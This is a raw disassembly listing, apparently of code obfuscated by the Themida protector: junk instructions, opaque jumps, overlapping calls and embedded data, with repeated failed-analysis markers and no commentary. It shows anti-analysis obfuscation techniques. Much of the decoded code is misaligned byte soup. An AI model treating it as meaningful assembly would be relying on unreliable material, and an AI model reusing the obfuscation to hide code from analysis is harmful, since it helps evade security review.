dd 5E70F916h, 0CBEDC081h, 5E5F778Bh, 75F06EBAh, 0D78B6644h
dd 0BBEB8052h, 2DBE665Eh, 61FC60EEh, 0CD7211B9h, 0C68B6645h
dd 0DE5CBA66h, 0A2F181F9h, 0F4176C8h, 685h, 41DE8100h
dd 5106596Dh, 0EE9h, 0AAA10200h, 0D4E81108h, 4B693B5Ch
dd 59CDAE9Eh, 0DA80ECB2h, 63BA60EBh, 80017C6Bh, 8B6197D9h
dd 6E9C6h, 649E0000h, 0E1F487F6h, 2840F60h, 53000000h
dd 0F61F958h, 286h, 66CF8A00h, 818FF3BFh, 70255CAh, 0BE81Ah
dd 0C2CB0000h, 0E336EEC0h, 0DB664898h, 5E964h, 58FE0000h
dd 5FDF1882h, 8056C18Bh, 665E12D2h, 0FFF64B8h, 38Dh, 0D3B70F00h
dd 0CBCA8153h, 5F0CEF16h, 7E9h, 501B6000h, 5D9DB974h, 77D9EA81h
dd 0B70F0D18h, 0E953F9DBh, 6, 0F745EDF8h, 0E858AC70h, 14h
dd 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h
dd 8D28160h, 0F87016B7h, 0D2805F61h, 66FB8BF6h, 8A596FBFh
dd 6E9F4h, 0B0420000h, 81E395A8h, 11E9h, 91A97600h, 0DB7BDEC9h
dd 4FC81E3Bh, 97AD6AFCh, 8C0F5EAFh, 0Dh, 0F2816660h, 870F4C48h
dd 0
; ---------------------------------------------------------------------------
popa
mov al, dl
mov esi, 0BC9E57Ah
pusha
jmp loc_6118CB
; ---------------------------------------------------------------------------
dw 0F77Ah
; ---------------------------------------------------------------------------
aas
retf
; ---------------------------------------------------------------------------
dw 39F5h
dd 1F36F203h, 2A94970Ch
db 0BEh, 0ABh, 8Eh
; ---------------------------------------------------------------------------
loc_6118CB: ; CODE XREF: Themida_:006118B5j
call near ptr loc_6118E2+1
or [ebp-25h], dl
dec ebp
pop ecx
jg short near ptr dword_61119C+6CDh
pop ds
mov [edi-7F95CE41h], bl
lahf
daa
jp short near ptr dword_61119C+706h
loc_6118E2: ; CODE XREF: Themida_:loc_6118CBp
imul cl
or [eax], eax
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
push edi
mov esp, 0C8AB97Bh
adc [esi+ebx*2], dh
popa
or ax, 1828h
mov esi, 7FC12213h
push esi
mov si, 0B328h
pop ebx
movsx ebx, bx
mov bx, 426Ah
push edx
sub ebx, 27569E34h
pop edx
or ah, 89h
jns $+6
and ch, 6Fh
push esi
jmp loc_611931
; ---------------------------------------------------------------------------
dd 137C6732h, 6BA6B369h, 74199B69h
db 70h
; ---------------------------------------------------------------------------
loc_611931: ; CODE XREF: Themida_:0061191Fj
pop edx
call sub_611944
sar byte ptr [ecx+4E6AD53h], cl
push ebx
into
jz short near ptr loc_61194C+4
ror byte ptr [ebx], 1
dec esi
; =============== S U B R O U T I N E =======================================
sub_611944 proc near ; CODE XREF: Themida_:00611932p
mov cl, 2Dh
pop edx
call sub_611953
loc_61194C: ; CODE XREF: Themida_:0061193Fj
or edx, [eax-0DE11AD4h]
retn
sub_611944 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_611953 proc near ; CODE XREF: sub_611944+3p
clc
pop ecx
jmp loc_61196D
; ---------------------------------------------------------------------------
dw 9A62h
dd 0F8638C01h, 0F782716Fh, 70A5FED7h, 355E596Ah
db 24h
; ---------------------------------------------------------------------------
loc_61196D: ; CODE XREF: sub_611953+2j
cmc
mov ax, dx
movzx edx, si
and edx, 3AC2ED07h
movzx edx, dx
mov ecx, edi
jmp loc_611996
; ---------------------------------------------------------------------------
dd 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh
db 6Dh, 32h
; ---------------------------------------------------------------------------
loc_611996: ; CODE XREF: sub_611953+2Cj
xor ebx, 4173D757h
add edi, 71D49148h
mov di, bx
jmp loc_6119B8
; ---------------------------------------------------------------------------
dw 0F257h
dd 0DB74BA82h, 452F7B02h, 237F3031h
; ---------------------------------------------------------------------------
loc_6119B8: ; CODE XREF: sub_611953+52j
jmp loc_6119CA
; ---------------------------------------------------------------------------
db 89h, 2Fh, 63h
dd 983F4EEDh, 1784A024h
db 0EFh, 37h
; ---------------------------------------------------------------------------
loc_6119CA: ; CODE XREF: sub_611953:loc_6119B8j
jbe loc_6119D8
jnb loc_6119D8
mov edi, ebx
loc_6119D8: ; CODE XREF: sub_611953:loc_6119CAj
; sub_611953+7Dj
sbb di, 7D61h
mov ecx, esi
mov bx, si
push eax
mov cl, 88h
pop ebx
loc_6119E6: ; CODE XREF: sub_6119F8+3Fj
call sub_6119F8
dec esi
fsub qword ptr [edi]
push ecx
jbe short near ptr loc_611A13+2
test byte ptr [edi+6Fh], 0F6h
test al, 0ABh
inc eax
sub_611953 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6119F8 proc near ; CODE XREF: sub_611953:loc_6119E6p
push eax
mov esi, 183F059Ch
pop edi
pop edx
push edi
jmp loc_611A0C
; ---------------------------------------------------------------------------
dw 0E50Ah
dd 0CA69E82Ch
; ---------------------------------------------------------------------------
loc_611A0C: ; CODE XREF: sub_6119F8+9j
pop edx
clc
mov edx, 12429F01h
loc_611A13: ; CODE XREF: sub_611953+9Cj
adc di, 22B6h
add eax, 3685AD35h
cmc
adc bx, 0C38Dh
jmp loc_611A2F
; ---------------------------------------------------------------------------
db 9Bh, 0E1h, 0AAh
db 0C8h, 5Bh, 41h
; ---------------------------------------------------------------------------
loc_611A2F: ; CODE XREF: sub_6119F8+2Cj
mov al, 97h
clc
call near ptr sub_611A3E
jp short loc_6119E6
and [bp+di-34C2h], ecx
sub_6119F8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_611A3E proc far ; CODE XREF: sub_6119F8+3Ap
push ebx
mov ebx, 64DD9D1Fh
pop edx
pop edx
sbb al, 24h
loc_611A49: ; CODE XREF: sub_611A3E+5Cj
and bl, 0CAh
mov ch, 56h
push edx
movsx ecx, di
pop edi
mov cx, ax
mov ebx, 27C8AA4Eh
add edi, 6AB3E25Bh
mov di, dx
add cl, 0D6h
mov cx, dx
jmp loc_611A7A
; ---------------------------------------------------------------------------
db 5Fh
dd 0D8D18FC4h, 25B61B8Eh
db 76h, 50h
; ---------------------------------------------------------------------------
loc_611A7A: ; CODE XREF: sub_611A3E+2Cj
jmp loc_611A89
; ---------------------------------------------------------------------------
db 43h
dd 24F729B7h, 7B6EDDE1h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_611A89: ; CODE XREF: sub_611A3E:loc_611A7Aj
mov al, ch
mov ch, 0F2h
movzx edx, ax
xor cx, 0C8C8h
jmp loc_611AAB
; ---------------------------------------------------------------------------
jmp short loc_611A49
; ---------------------------------------------------------------------------
dd 59BDAECEh, 54C7874Fh, 0EFB7D9A3h
db 57h, 0D8h, 64h
; ---------------------------------------------------------------------------
loc_611AAB: ; CODE XREF: sub_611A3E+57j
mov bx, 7319h
mov eax, esi
push esi
jnp loc_611ABB
movzx eax, bx
loc_611ABB: ; CODE XREF: sub_611A3E+74j
pop edi
push eax
call near ptr loc_611ACE+4
cld
push es
lodsb
push edx
push edi
and eax, 0F673C01Dh
xchg eax, esp
sti
loc_611ACE: ; CODE XREF: sub_611A3E+7Fp
mov edi, 0FCBC477Dh
sub_611A3E endp ; sp-analysis failed
pop edi
pop ecx
pusha
mov ecx, 17844E6Dh
mov al, 60h
popa
and esi, 405D199Ah
push ecx
add si, 206Dh
pop edi
stc
adc dl, 63h
jmp loc_611AF9
; ---------------------------------------------------------------------------
dd 69056FECh
; ---------------------------------------------------------------------------
lodsd
loc_611AF9: ; CODE XREF: Themida_:00611AEFj
jge loc_611B02
mov ax, cx
loc_611B02: ; CODE XREF: Themida_:loc_611AF9j
pusha
movsx ebx, si
jnz loc_611B0E
mov eax, edi
loc_611B0E: ; CODE XREF: Themida_:00611B06j
popa
mov eax, 49396623h
or al, 0BAh
pusha
pusha
jno $+6
mov di, 1C18h
popa
clc
popa
movzx edi, ax
sbb ebx, 4256CFA5h
mov edi, 3962B11h
loc_611B34: ; CODE XREF: Themida_:00611B46j
cld
call sub_611B4E
and eax, 614A0D15h
stc
cdq
and al, 0D3h
aas
mov bh, 5
loope loc_611B34
sahf
or [ebx], ecx
adc [ecx], ecx
xchg eax, esp
; =============== S U B R O U T I N E =======================================
sub_611B4E proc near ; CODE XREF: Themida_:00611B35p
jl loc_611B5A
ja $+6
loc_611B5A: ; CODE XREF: sub_611B4Ej
pop eax
call near ptr loc_611B6E+3
mov ds:6BBCF7B1h, eax
pop edi
sub dword ptr [ecx-3Dh], 68h
push edi
pop ebx
push ss
pop ebx
loc_611B6E: ; CODE XREF: sub_611B4E+Dp
mov dword ptr [eax], 0AB2AB870h
sub_611B4E endp ; sp-analysis failed
jp short loc_611BAB
pop ecx
movsx edi, ax
jmp loc_611B92
; ---------------------------------------------------------------------------
db 0BBh
dd 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h
db 1Dh, 0FAh
; ---------------------------------------------------------------------------
loc_611B92: ; CODE XREF: Themida_:00611B7Aj
call near ptr loc_611B9E+5
mov [ecx+70950FDFh], gs
cli
loc_611B9E: ; CODE XREF: Themida_:loc_611B92p
rcl byte ptr [ebx-16AFF64Bh], cl
adc al, [eax]
; ---------------------------------------------------------------------------
dw 0
db 0EDh, 0D8h, 3Ah
; ---------------------------------------------------------------------------
loc_611BAB: ; CODE XREF: Themida_:00611B74j
movsb
xor eax, 1C3207A2h
xchg eax, ecx
cmpsb
jmp near ptr 0F959E252h
; ---------------------------------------------------------------------------
dd 0E85A3A2Ah, 0Fh, 93BBCA7h, 46FE06AEh, 127AC955h, 6627C1DDh
dd 6058D88Bh, 61CB8B66h, 0EBB7BF66h, 8E9F8h, 0AA560000h
dd 7A9895E7h, 0AE9677Bh, 0
db 51h ; Q
db 0B9h ; ╧
db 90h ; ░
db 2Ah ; *
db 2
db 0F4h ; Т
db 0B2h ; ╡
db 0C9h ; и
db 0B9h ; ╧
db 66h ; f
db 0BBh ; ╩
db 3Bh ; ;
db 2Bh ; +
db 8Ah ; ┼
db 0D3h ; с
db 51h ; Q
db 0Fh
db 8Dh ; █
db 3
db 0
db 0
db 0
db 66h ; f
db 8Bh ; ▀
db 0F8h ; Ь
db 58h ; X
db 60h ; `
db 0B9h ; ╧
db 85h ; ┘
db 0E6h ; Ф
db 5Bh ; [
db 69h ; i
db 8Bh ; ▀
db 0D7h ; в
db 61h ; a
db 53h ; S
db 60h ; `
db 0E9h ; И
db 13h
db 0
db 0
db 0
dw 854h
; ---------------------------------------------------------------------------
jmp short locret_611C27
; ---------------------------------------------------------------------------
dw 0E7FEh
dd 2C3A90A9h
db 57h, 0Fh, 9Dh
; ---------------------------------------------------------------------------
locret_611C27: ; CODE XREF: Themida_:00611C1Cj
retn
; ---------------------------------------------------------------------------
dd 298AC43Ch
db 2Ch
db 0E8h ; Х
db 6
db 0
db 0
db 0
db 6Dh ; m
db 33h ; 3
db 14h
db 0B4h ; ╢
db 0A5h ; ╔
db 0Eh
db 59h ; Y
db 61h ; a
db 59h ; Y
db 8Ah ; ┼
db 0CAh ; й
db 80h ; ─
db 0CCh ; л
db 0DBh ; ш
db 0Fh
db 8Bh ; ▀
db 1
db 0
db 0
db 0
db 0F8h ; Ь
db 66h ; f
db 8Bh ; ▀
db 0F2h ; Р
db 66h ; f
db 81h ; │
db 0EFh ; О
db 17h
db 5Eh ; ^
db 81h ; │
db 0CEh ; н
db 4Ah ; J
db 9Ah ;
db 6Ah ; j
db 79h ; y
db 0E9h ; И
db 9
db 0
db 0
db 0
dw 4AB0h
dd 4C91E2D6h, 60BF89E8h, 7E9h, 0D549C900h, 38C01C33h, 0F61A4B4h
dd 28Ah, 81FE8B00h, 0E0B3C4EBh, 66F88A4Dh, 0B8413CBEh
dd 9F9B56h, 29BE6653h, 816059E2h, 0B3CE3FE1h, 61EC8A33h
dd 0E8C1B70Fh, 11h, 547AA39Fh, 8F3E6714h, 6FE39B2Bh, 9C90DB72h
db 0BEh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_611CB5 proc near
jmp sub_611CC7
sub_611CB5 endp
; ---------------------------------------------------------------------------
dw 6594h
dd 152E5705h, 0DD2EEF78h
db 5, 9Fh, 12h
; =============== S U B R O U T I N E =======================================
sub_611CC7 proc near ; CODE XREF: sub_611CB5j
pop ebx
mov si, 7E67h
mov edi, ebx
jmp loc_611CDF
; ---------------------------------------------------------------------------
db 26h
dd 0D79DBB71h, 0F0279544h
db 2Eh, 58h, 12h
; ---------------------------------------------------------------------------
loc_611CDF: ; CODE XREF: sub_611CC7+7j
jmp loc_611CF4
; ---------------------------------------------------------------------------
dd 4ACC41F3h, 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h
; ---------------------------------------------------------------------------
loc_611CF4: ; CODE XREF: sub_611CC7:loc_611CDFj
mov edi, 6CF061BDh
jle loc_611D09
jmp loc_611D09
; ---------------------------------------------------------------------------
dd 4E77DA2Bh
db 1
; ---------------------------------------------------------------------------
loc_611D09: ; CODE XREF: sub_611CC7+32j
; sub_611CC7+38j
jmp loc_611D13
; ---------------------------------------------------------------------------
push 0C956C01Ah
loc_611D13: ; CODE XREF: sub_611CC7:loc_611D09j
mov bh, 5Bh
cld
jmp loc_611D2F
; ---------------------------------------------------------------------------
or [edx-63C8E804h], ecx
xlat
lea esi, ds:81403D91h
add al, 74h
cmp eax, 21B46085h
loc_611D2F: ; CODE XREF: sub_611CC7+4Fj
jnb loc_611D37
mov ecx, edx
loc_611D37: ; CODE XREF: sub_611CC7:loc_611D2Fj
js loc_611D43
or ecx, 7C48C6B3h
loc_611D43: ; CODE XREF: sub_611CC7:loc_611D37j
jo loc_611D55
jmp loc_611D55
; ---------------------------------------------------------------------------
dw 7727h
dd 2B8E2895h
db 0A8h
; ---------------------------------------------------------------------------
loc_611D55: ; CODE XREF: sub_611CC7:loc_611D43j
; sub_611CC7+82j
adc dh, 0CAh
push eax
push ecx
sbb ebx, 18B07DFAh
pop ebx
pop eax
mov si, 0CE35h
mov bx, di
jmp loc_611D77
; ---------------------------------------------------------------------------
dw 84EAh
dd 0E5742C11h
db 0D6h, 0ABh, 26h
; ---------------------------------------------------------------------------
loc_611D77: ; CODE XREF: sub_611CC7+A2j
mov dx, 82DCh
call near ptr loc_611D82+4
db 36h
insb
loc_611D82: ; CODE XREF: sub_611CC7+B4p
mov ebx, 0F5AA260Eh
sub_611CC7 endp ; sp-analysis failed
pop ecx
add cl, 65h
xor edx, 5F7F2B27h
mov edx, 138F2408h
pusha
call sub_611DAB
das
pop edx
hlt
; ---------------------------------------------------------------------------
dec edx
retn 0B189h
; ---------------------------------------------------------------------------
db 7Dh
dd 0CE61F9D9h
db 0BAh, 0A8h, 0DFh
; =============== S U B R O U T I N E =======================================
sub_611DAB proc near ; CODE XREF: Themida_:00611D97p
mov eax, edi
pop ebx
push edi
sbb di, 7007h
pop edi
popa
call near ptr loc_611DC0+2
add ah, al
push cs
sbb [ecx], esp
loc_611DC0: ; CODE XREF: sub_611DAB+Bp
test [edi+ecx], ebx
sub_611DAB endp ; sp-analysis failed
test [esi], eax
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
or ecx, 289D921h
pop ecx
jmp loc_611DDD
; ---------------------------------------------------------------------------
dd 2276276Bh, 29C14BBh
db 0E6h
; ---------------------------------------------------------------------------
loc_611DDD: ; CODE XREF: Themida_:00611DCFj
add ax, 26BAh
adc di, 0C85Fh
mov cx, di
sub edx, 7E646AD8h
call sub_611E02
or dh, [esi+0Fh]
retn 695Ch
; ---------------------------------------------------------------------------
db 16h
dd 90FD5449h
db 2Eh, 38h
; =============== S U B R O U T I N E =======================================
sub_611E02 proc near ; CODE XREF: Themida_:00611DF0p
pop edx
jz loc_611E19
jmp loc_611E19
; ---------------------------------------------------------------------------
dw 3FEBh
dd 1A8AF75Fh, 94400AEAh
db 0DDh
; ---------------------------------------------------------------------------
loc_611E19: ; CODE XREF: sub_611E02+1j
; sub_611E02+7j
jo $+6
cld
pusha
mov ecx, 412E22B5h
cld
popa
add bh, 34h
pusha
adc edi, 2C94146Dh
mov al, 56h
popa
push eax
stc
pop edi
jl loc_611E41
push edx
cmc
pop eax
loc_611E41: ; CODE XREF: sub_611E02+36j
jbe loc_611E4B
mov di, 0EA5Ch
loc_611E4B: ; CODE XREF: sub_611E02:loc_611E41j
mov eax, esi
or di, 15Ch
stc
mov bh, 79h
push edi
pop edi
clc
pusha
sbb edx, 4DC041A7h
call near ptr loc_611E6D+2
rcr al, 1
mov dword ptr [edi+0Fh], 0C5ACAF15h
loc_611E6D: ; CODE XREF: sub_611E02+5Dp
add byte ptr [ebx], 8Ah
sub_611E02 endp ; sp-analysis failed
enter 615Bh, 0B8h
sbb cl, [ebx+60F92AB7h]
mov ch, dh
sub dx, 906Fh
popa
cld
push ebx
sbb eax, 34E4421Fh
pop edx
mov ah, 10h
jmp loc_611EA6
; ---------------------------------------------------------------------------
dw 3C9Ah
dd 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h
db 3Ah, 7Ch
; ---------------------------------------------------------------------------
loc_611EA6: ; CODE XREF: Themida_:00611E8Dj
clc
jmp loc_611EB6
; ---------------------------------------------------------------------------
dd 0EED06C65h, 64D6F4C6h
; ---------------------------------------------------------------------------
scasb
sti
loc_611EB6: ; CODE XREF: Themida_:00611EA7j
pusha
jns loc_611EC3
jp $+6
loc_611EC3: ; CODE XREF: Themida_:00611EB7j
sbb ebx, 59803081h
popa
xor edx, 6ED82097h
jmp loc_611EE7
; ---------------------------------------------------------------------------
db 92h, 0E5h, 24h
dd 0CA5825Fh, 8F12ECB5h, 0E83CC75Fh
db 59h, 0CCh, 0C2h
; ---------------------------------------------------------------------------
loc_611EE7: ; CODE XREF: Themida_:00611ED0j
jno loc_611EF0
add cl, 43h
loc_611EF0: ; CODE XREF: Themida_:loc_611EE7j
jnz loc_611EFB
mov esi, 1B940396h
loc_611EFB: ; CODE XREF: Themida_:loc_611EF0j
jnp $+6
mov ecx, 0F4C7F6Ch
mov dx, 4D15h
jl loc_611F11
clc
loc_611F11: ; CODE XREF: Themida_:00611F0Aj
mov edx, eax
jns loc_611F1C
add bl, 87h
loc_611F1C: ; CODE XREF: Themida_:00611F13j
mov ah, cl
mov edx, ecx
mov ecx, 0B709DC8h
sbb cx, 0CF6Ah
or edx, 30DB96B8h
stc
cmc
call sub_611F40
retn 0E283h
; ---------------------------------------------------------------------------
cld
punpckhbw mm4, mm3
sub dh, bl
; =============== S U B R O U T I N E =======================================
sub_611F40 proc near ; CODE XREF: Themida_:00611F32p
sbb dl, 18h
pop ecx
and esi, 395138BFh
mov dx, 0F95Dh
mov dx, si
pusha
and si, 65A1h
cld
popa
jns loc_611F65
adc eax, 73228F72h
loc_611F65: ; CODE XREF: sub_611F40+19j
call loc_611F79
wait
nop
fadd qword ptr [ecx-19h]
mov dl, 0EAh
shl bl, cl
aam 0E9h
enter 7B50h, 45h
sub_611F40 endp ; sp-analysis failed
loc_611F79: ; CODE XREF: sub_611F40:loc_611F65p
push ebx
jmp loc_611F8C
; ---------------------------------------------------------------------------
align 10h
dd 750EA883h, 561B6EBDh, 1CEF3682h
; ---------------------------------------------------------------------------
loc_611F8C: ; CODE XREF: Themida_:00611F7Aj
pop esi
pop ecx
jns loc_611F9A
add eax, 2C156644h
loc_611F9A: ; CODE XREF: Themida_:00611F8Ej
and esi, 7491C7E3h
sub bh, 1Ah
mov edx, ecx
push esi
pop edi
cld
jnp loc_611FB4
jl $+6
loc_611FB4: ; CODE XREF: Themida_:00611FA8j
sbb al, 0A9h
cmc
mov ecx, ebx
sub ecx, 2AF13B2Ch
or eax, 7201C562h
jmp loc_611FD8
; ---------------------------------------------------------------------------
db 76h
; ---------------------------------------------------------------------------
lea ebx, [esi-7Fh]
mov edx, 11A2E771h
retn 0BC3Eh
; ---------------------------------------------------------------------------
db 0E0h
; ---------------------------------------------------------------------------
loc_611FD8: ; CODE XREF: Themida_:00611FC6j
movsx edx, ax
mov edi, edx
mov al, bl
mov cx, di
mov dx, 0CDB1h
or bx, 80ACh
mov ebx, edi
adc bx, 0AD7Ah
push ecx
mov ebx, edx
pop edx
jmp loc_612006
; ---------------------------------------------------------------------------
db 70h
dd 6961DAE5h, 0CFCD5E61h
; ---------------------------------------------------------------------------
pop ecx
leave
loc_612006: ; CODE XREF: Themida_:00611FF6j
mov dx, di
jmp loc_612021
; ---------------------------------------------------------------------------
dw 48A6h
dd 384E7CD4h, 0E05D8267h, 9376E6EFh, 0C20CFC19h
; ---------------------------------------------------------------------------
stosd
loc_612021: ; CODE XREF: Themida_:00612009j
jmp loc_61202F
; ---------------------------------------------------------------------------
dw 9BAEh
dd 2E313BC4h
db 0Fh, 6Ah, 5Eh
; ---------------------------------------------------------------------------
loc_61202F: ; CODE XREF: Themida_:loc_612021j
jmp loc_61203F
; ---------------------------------------------------------------------------
dd 2B0B9B13h, 0C2CEB977h
db 65h, 0A3h, 0B8h
; ---------------------------------------------------------------------------
loc_61203F: ; CODE XREF: Themida_:loc_61202Fj
jns loc_612048
movsx eax, bx
loc_612048: ; CODE XREF: Themida_:loc_61203Fj
jnb loc_612052
mov bx, 0E032h
loc_612052: ; CODE XREF: Themida_:loc_612048j
add esi, 309F6AC1h
mov si, 0F5E0h
jmp loc_612069
; ---------------------------------------------------------------------------
db 15h, 9Bh, 25h
dd 0F2E2D1D9h
db 0BFh
; ---------------------------------------------------------------------------
loc_612069: ; CODE XREF: Themida_:0061205Cj
call sub_61207A
lodsd
push edx
; ---------------------------------------------------------------------------
dd 63B50D8Eh, 847EB233h
db 0E5h, 0E6h
; =============== S U B R O U T I N E =======================================
sub_61207A proc near ; CODE XREF: Themida_:loc_612069p
adc di, 0B9D5h
pop ecx
jmp loc_61208F
; ---------------------------------------------------------------------------
retn 2BAAh
; ---------------------------------------------------------------------------
mov ah, 2
push cs
cmovp ebp, ebx
inc ebx
loc_61208F: ; CODE XREF: sub_61207A+6j
add di, 0E613h
jno loc_6120A6
jmp loc_6120A6
; ---------------------------------------------------------------------------
db 8Ah
dd 92777E77h
db 0C7h, 79h
; ---------------------------------------------------------------------------
loc_6120A6: ; CODE XREF: sub_61207A+1Aj
; sub_61207A+20j
mov dl, ch
call near ptr loc_6120B8+4
or dh, [eax]
db 3Eh
or byte ptr [esi], 8Fh
jnp short near ptr loc_61212E+1
cld
out 7, eax ; DMA controller, 8237A-5.
; channel 3 base address and word count
loc_6120B8: ; CODE XREF: sub_61207A+2Ep
mov eax, ds:664B0675h
sub_61207A endp ; sp-analysis failed
mov eax, 515FB491h
mov ecx, 3C59B651h
pop edx
push eax
mov esi, 2F2B1639h
pop eax
jmp loc_6120DD
; ---------------------------------------------------------------------------
dd 0C0E19131h, 0C387DB17h
db 6Eh
; ---------------------------------------------------------------------------
loc_6120DD: ; CODE XREF: Themida_:006120CFj
mov dx, 29AFh
mov dl, 0D7h
mov bx, 25C3h
ja loc_6120F5
push esi
jns $+6
pop esi
loc_6120F5: ; CODE XREF: Themida_:006120E7j
push eax
pusha
pusha
popa
cmc
popa
pop esi
push eax
call loc_612114
inc ebx
mov edi, 70D53475h
mov edx, 1DE6D4FAh
and dword ptr [edi+3CCCB3CFh], 3Fh
loc_612114: ; CODE XREF: Themida_:006120FDp
adc edx, 7310A6F0h
pop eax
pop ebx
mov esi, eax
jmp loc_612129
; ---------------------------------------------------------------------------
pop ds
xchg eax, ecx
db 67h
push ebp
jo short loc_612163
loc_612129: ; CODE XREF: Themida_:0061211Ej
movzx edi, di
mov bl, dh
loc_61212E: ; CODE XREF: sub_61207A+39j
mov si, dx
jp $+6
mov edx, 403CB61h
jnb $+6
pusha
jmp loc_61215C
; ---------------------------------------------------------------------------
dd 6A34B7Ch, 0D11D7CD9h, 0AC18297Eh, 7B2FD1FCh, 0D37CA7DAh
; ---------------------------------------------------------------------------
loc_61215C: ; CODE XREF: Themida_:00612143j
jnz $+6
popa
loc_612163: ; CODE XREF: Themida_:00612127j
mov dh, ch
call sub_612173
idiv ecx
; ---------------------------------------------------------------------------
dd 19C58D67h
db 6Eh, 0FFh, 0AEh
; =============== S U B R O U T I N E =======================================
sub_612173 proc near ; CODE XREF: Themida_:00612165p
pusha
pusha
popa
mov edi, ecx
popa
pop edi
adc ebx, 591220D8h
push esi
mov edi, ecx
pop edx
movsx eax, bx
and al, 3
mov ebx, 3EBE9C1Ch
js loc_612197
mov bl, 8
loc_612197: ; CODE XREF: sub_612173+1Cj
ja loc_6121A0
mov di, si
loc_6121A0: ; CODE XREF: sub_612173:loc_612197j
pusha
mov bl, 0A0h
jmp loc_6121B3
; ---------------------------------------------------------------------------
dd 2AA04AA2h, 1D58EFB2h
db 0D5h, 0AFh, 0ECh
; ---------------------------------------------------------------------------
loc_6121B3: ; CODE XREF: sub_612173+30j
popa
and edi, 4D067A94h
jmp loc_6121CE
; ---------------------------------------------------------------------------
db 0DCh
dd 5F9AC863h, 0DBB0ABF8h, 877E075Eh
; ---------------------------------------------------------------------------
or al, 1Fh
loc_6121CE: ; CODE XREF: sub_612173+47j
jmp loc_6121D9
; ---------------------------------------------------------------------------
db 44h
dd 8620B84Fh
db 3Eh
; ---------------------------------------------------------------------------
loc_6121D9: ; CODE XREF: sub_612173:loc_6121CEj
movsx esi, si
loc_6121DC: ; CODE XREF: Themida_:0061223Dj
jge loc_6121E5
movsx edi, di
loc_6121E5: ; CODE XREF: sub_612173:loc_6121DCj
push eax
pusha
jnz $+6
mov esi, edi
popa
pop eax
push eax
sbb cl, 63h
pop edi
jmp loc_612206
; ---------------------------------------------------------------------------
db 84h
dd 989813DDh, 654353E7h
db 0DAh, 0E1h
; ---------------------------------------------------------------------------
loc_612206: ; CODE XREF: sub_612173+83j
call near ptr loc_612214+4
rep sub al, 7Eh
pop esi
dec esp
das
or al, 7
dec esp
loc_612214: ; CODE XREF: sub_612173:loc_612206p
xchg ah, [edx-45991306h]
sub_612173 endp ; sp-analysis failed
nop
dec esp
pop ebx
mov cx, ax
mov ebx, 3E15EBEh
cld
cld
mov dh, 33h
jnb loc_612233
mov cx, 0CEE3h
loc_612233: ; CODE XREF: Themida_:00612229j
mov dx, ax
mov cl, ah
call near ptr loc_612246+5
db 26h
jnb short loc_6121DC
xor esi, [ebp+0A4B4529h]
loc_612246: ; CODE XREF: Themida_:00612238p
mov dword ptr [ecx-170B904Bh], 5
retn
; ---------------------------------------------------------------------------
db 0E1h, 0C2h, 0EEh
; ---------------------------------------------------------------------------
mov al, ds:76D38166h
mov [eax+58h], ebx
pusha
mov di, 884Ch
popa
jmp loc_612276
; ---------------------------------------------------------------------------
db 71h
dd 0E7AB9DA7h, 8D2B898Ch, 31FF77C1h
; ---------------------------------------------------------------------------
stosb
clc
loc_612276: ; CODE XREF: Themida_:00612262j
jge loc_61227F
mov cx, dx
loc_61227F: ; CODE XREF: Themida_:loc_612276j
cmc
mov di, 4DB1h
sub ecx, 7136248Ch
or ecx, 5F214A6Eh
cld
movsx ecx, dx
jo loc_61229D
movzx ebx, dx
loc_61229D: ; CODE XREF: Themida_:00612294j
call sub_6122AF
wait
outsb
jmp near ptr 0B8C1FC3Bh
; ---------------------------------------------------------------------------
db 0EBh, 99h, 0D6h
db 77h, 0FAh, 6Fh
; =============== S U B R O U T I N E =======================================
sub_6122AF proc near ; CODE XREF: Themida_:loc_61229Dp
cmc
pop ecx
mov bl, dl
clc
pusha
or ebx, 61AB6AE0h
movzx edx, ax
popa
mov cx, 0DBF0h
call near ptr loc_6122D7+1
add bl, [ebx+150C0578h]
scasb
sbb dl, [esi]
test [ebp+7C1819A7h], bh
loc_6122D7: ; CODE XREF: sub_6122AF+14p
rcl byte ptr [edx+66h], cl
sub_6122AF endp ; sp-analysis failed
mov eax, edi
pop edi
pop edi
mov ebx, edx
mov edi, 30B7132Bh
movsx esi, di
push ecx
cmc
pop esi
cmc
sbb dh, 0E9h
jb loc_6122FB
xor edi, 4B36F674h
loc_6122FB: ; CODE XREF: Themida_:006122EFj
call near ptr loc_612305+2
mov esi, 0AB398DB3h
loc_612305: ; CODE XREF: Themida_:loc_6122FBp
mov ds:0CE96026h, eax
; ---------------------------------------------------------------------------
dw 0
dd 0C0F71500h, 0FDBB11CDh, 764DA6BDh, 4BF78128h, 61092923h
dd 12E9505Fh, 70000000h, 0C7628DB2h, 4F6B8C89h, 37BE1E79h
dd 2D0A896Dh, 8B665FC5h, 0FA8B66C8h, 58B0Fh, 81660000h
dd 0B8C23BF6h, 1C756324h, 0B86660F8h, 80560BE2h, 615E9CF3h
dd 8A0F5057h, 0
; ---------------------------------------------------------------------------
pop edi
pop edx
mov cx, 5FC8h
add ah, 2Eh
jmp loc_61237E
; ---------------------------------------------------------------------------
dw 0AB5Eh
dd 1916396Eh, 0ED4C0499h
db 0F1h, 0E2h
; ---------------------------------------------------------------------------
loc_61237E: ; CODE XREF: Themida_:0061236Dj
mov eax, edi
mov cx, si
jno loc_612392
jl loc_612392
movsx ebx, ax
loc_612392: ; CODE XREF: Themida_:00612383j
; Themida_:00612389j
jp loc_6123A0
jle loc_6123A0
pusha
popa
loc_6123A0: ; CODE XREF: Themida_:loc_612392j
; Themida_:00612398j
mov ah, 85h
mov ah, 8Fh
call near ptr loc_6123BB+1
and ah, cl
wait
push edx
pop esp
pop ecx
or [esi-43h], dh
rcr dword ptr [esi], 1
xchg bl, ds:0F72625A6h
loc_6123BB: ; CODE XREF: Themida_:006123A4p
sbb esp, [eax+66h]
mov ebx, edx
popa
pop ebx
js $+6
sub bl, 27h
mov al, 62h
